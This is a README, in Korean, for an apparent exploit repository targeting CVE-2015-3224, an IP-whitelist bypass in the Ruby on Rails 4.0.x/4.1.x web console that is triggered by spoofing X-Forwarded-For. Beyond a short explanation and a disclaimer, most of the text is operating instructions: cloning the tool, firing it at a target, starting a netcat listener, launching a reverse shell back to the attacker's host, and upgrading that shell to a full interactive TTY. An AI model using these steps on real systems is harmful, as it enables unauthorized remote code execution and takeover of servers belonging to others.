
Ruby on Rails Web Console 익스플로잇 (CVE-2015-3224)
이 저장소는 Ruby on Rails 4.0.x 및 4.1.x 개발자 웹 콘솔의 IP 화이트리스트 우회 취약점을 익스플로잇하는 Python 스크립트를 포함합니다. 이 스크립트는 취약한 서버에서 원격 코드 실행을 가능하게 합니다.
⚠️ 면책 조항 이 스크립트는 교육 목적 및 공인된 보안 테스트 용도로만 사용하세요. 명시적 허가 없이 어떤 시스템에서도 사용하지 마십시오. 저자는 이 스크립트로 인한 오용 또는 손해에 대해 책임지지 않습니다.
취약한 버전의 Ruby on Rails 웹 콘솔은 개발 목적으로 설계되었으며 신뢰할 수 있는 IP 주소에서만 접근해야 합니다. 그러나 X-Forwarded-For HTTP 헤더의 부적절한 처리로 인해 공격자는 IP 주소를 스푸핑하여 신뢰할 수 있는 로컬 사용자(예: 127.0.0.1 또는 ::1)로 가장할 수 있습니다. 이로써 IP 화이트리스트를 우회하고 웹 콘솔에 무단 액세스하여 원격 코드 실행이 가능해집니다.
requests 라이브러리requests 설치:
pip install requests
저장소를 클론합니다:
git clone https://github.com/Sic4rio/CVE-2015-3224
cd <repo-directory>
스크립트를 실행 가능하게 만듭니다:
chmod +x exploit.py
이 모드는 빠르고 간단한 명령을 실행할 때 유용합니다.
./exploit.py -t http://<TARGET_IP>:<PORT>
이 모드는 안정적이고 완전한 대화형 셸을 위한 권장 모드입니다.
로컬 머신에서 새 터미널을 열고 netcat 리스너를 시작합니다.
nc -lvnp 9001
다른 터미널에서 --rev-shell 플래그와 함께 로컬 IP(lhost) 및 포트(lport)를 지정하여 스크립트를 실행합니다.
./exploit.py -t http://<TARGET_IP>:<PORT> --rev-shell --lhost <YOUR_IP> --lport 9001
netcat 리스너에 연결이 도착합니다. 이를 완전한 대화형 TTY로 업그레이드하려면 netcat 창에서 다음 단계를 따르세요:
Ctrl+Z를 눌러 셸을 백그라운드로 보냅니다.stty raw -echo; fg
Enter를 누르세요.reset
export SHELL=bash
export TERM=xterm-256color
stty rows 50 cols 120
이제 완전하고 안정적인 셸을 사용할 수 있습니다!